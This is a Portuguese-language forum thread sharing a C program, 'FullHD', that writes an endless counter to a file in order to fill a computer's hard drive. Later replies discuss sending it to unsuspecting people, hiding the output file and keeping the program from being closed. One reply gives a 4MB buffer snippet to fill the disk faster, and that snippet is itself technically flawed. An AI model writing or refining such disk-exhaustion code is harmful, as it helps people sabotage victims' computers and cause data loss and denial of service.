Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

FullHD

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C# FullHD

    Fala Galera!!!

    Minha segunda postagem, mas não se preocupem, não vou ficar contando.

    Esse aqui cria um arquivo binário no sistema com um contador "i" infinito, ele vai preenchendo ele com um laço "for" e vai enchendo o HD em bytes.

    Créditos pela criação e desenvolvimento também ao Kodary.

    Código:
    #include <stdio.h>
    #include <conio.h>
    
    main(){
           int i;
           system("color F0");                          //Altera cores
           system("title FullHD - by .:Lycan:.");           //Altera o Título da Janela
           FILE *fp;
           
           fp=fopen("FullHD.txt","w");
           for(i=9999;;i++)                             //Armazena o contador "i" no arquivo e o faz ocupar espaço binário
           {
           fprintf(fp,"%d",i);
           
           }
           fclose(fp);
           
    }
    Eu to melhorando! Comentem aí galera!
    Last edited by RafaelVenancio; 18-12-2009, 19:18.

  • Font Size
    #2
    Desculpe amigo, mas acho que voce esta postando na area errada. esta área é para programas já compilados.
    Descendo um pouco a barra de rolagem, voce encontra a area de programação desktop.
    La tem C, C++, Visual Basic, Delphi e talz.

    O Source puro deve ser postado la, a compilação do programa deve ser postada aqui.

    Gostei muito do post, obrigado.

    Comment


    • Font Size
      #3
      Tópico movido para a área correta!
      _________________________________
      Obrigado pela contribuição!
      Não te engane. De Deus não se zomba, o que o homem plantar, é o que ele vai colher. (Gálatas 6:7)


      sigpic


      Comment


      • Font Size
        #4
        Um código bem chatinho se for enviado a alguém que não entende nada. Tem um jeito de fazer os bytes irem pra um lugar onde eu garanto que uns 95% dos usuários de Windows não saberiam achar. Além disso, você poderia tomar medidas pra que o programa não fosse fechado. Fora isso, eu tenho uma outra sugestão: ao invés de usar fprintf() e passar o i como argumento, seria melhor usar um buffer grande e usar fputs() pra jogar ele inteiro no arquivo a cada iteração do laço. Pra criar esse buffer, é só fazer assim:

        Código:
        #include <string.h>
        //...
        
        char buff[4194304]; // buffer de 4MB (4096 X 1024 x 10)
        memset(buff, 'a', 4194304);
        Depois disso, dentro do for, você chama fputs com buff e sizeof(buff).

        Comment


        • Font Size
          #5
          guidjos vlw isso é funcionaria bem mais rápido e o for(; infinito seria melhor

          Comment


          • Font Size
            #6
            Só pra complementar, um outro jeito de fazer o for() infinito seria usando:

            Código:
             for(;;)
             {
              // codigo
             }

            Comment

            X
            Working...
            X